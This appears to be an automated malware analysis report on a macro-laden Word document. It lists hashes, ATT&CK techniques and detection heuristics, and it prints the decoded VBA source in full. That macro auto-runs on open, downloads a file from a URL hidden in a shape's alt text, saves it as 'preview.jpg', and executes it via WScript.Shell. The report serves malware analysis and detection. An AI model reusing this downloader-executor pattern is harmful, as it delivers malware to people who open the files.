Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 31fed29fb566b911…

MALICIOUS

Office (OOXML)

111.1 KB Created: 2020-08-13 09:41:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: bd73f9c628961332421fb8251fc0fd54 SHA-1: 1e2ad527498814dd424478afc0e2bddfc999f4ab SHA-256: 31fed29fb566b91129c565a1e015a57afd6c30736666bdb581ca6fcd7afadec9
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro that executes upon opening the document, leveraging WScript.Shell to download a file named 'preview.jpg' from a URL embedded in the document's alternative text. This downloaded file is then likely executed, as indicated by the use of Shell() and CreateObject calls within the VBA code. The external relationship to 'file:///C:\Builders\Framework\rels\builds\pack2\us.jpg' suggests a potential build path or origin for the malicious content.

Heuristics 8

  • ClamAV: Doc.Malware.W2000m-9757284-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.W2000m-9757284-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function df9e122e(af0aaacb)
Set cb5dda77 = CreateObject("wscript.shell")
Call cb5dda77.exec(af0aaacb)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function df9e122e(af0aaacb)
Set cb5dda77 = CreateObject("wscript.shell")
Call cb5dda77.exec(af0aaacb)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
Dim ba3a0ab1 As New d7cd71a8
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack2\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1579 bytes
SHA-256: abeabd81033813f9dca9e58403534fa2aa172be1045b94ee4e8042c1ff7dc720
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "b9d1ecfe"
Function ed71ee4c()
ed71ee4c = 1
End Function
Sub AutoOpen()
Dim ba3a0ab1 As New d7cd71a8
a7421236 = ba3a0ab1.c492b9b9(ActiveDocument.Shapes(ed71ee4c).AlternativeText)
df32966b ba9cf3dd(a7421236)
ba3a0ab1.df9e122e dcd3f665
End Sub

Attribute VB_Name = "d255cded"
Sub df32966b(f540e1c2)
Open f5d112a0 For Output As #1
Print #1, f540e1c2
Close #1
End Sub
Function f5d112a0()
f5d112a0 = "preview.jpg"
End Function
Sub f45fc2da()
End Sub
Function ba9cf3dd(f540e1c2)
ba9cf3dd = StrConv(f540e1c2, 64)
End Function
Function dcd3f665()
dcd3f665 = ActiveDocument.Shapes(1).Title + " " + f5d112a0
End Function

Attribute VB_Name = "d7cd71a8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function c492b9b9(c8b4cf6b)
Dim e9b00dad As Object
Set e9b00dad = New MSXML2.XMLHTTP60
e9b00dad.Open "GET", c8b4cf6b, False
e9b00dad.Send
'
With e9b00dad
c492b9b9 = .responsebody
End With
End Function
Function df9e122e(af0aaacb)
Set cb5dda77 = CreateObject("wscript.shell")
Call cb5dda77.exec(af0aaacb)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: 81677017ea9ba46b713afffc087c3a7d8d70f5376bd8d38f4381647b166dc4f1
Detection
ClamAV: Doc.Malware.W2000m-9757284-0
Obfuscation or payload: unlikely

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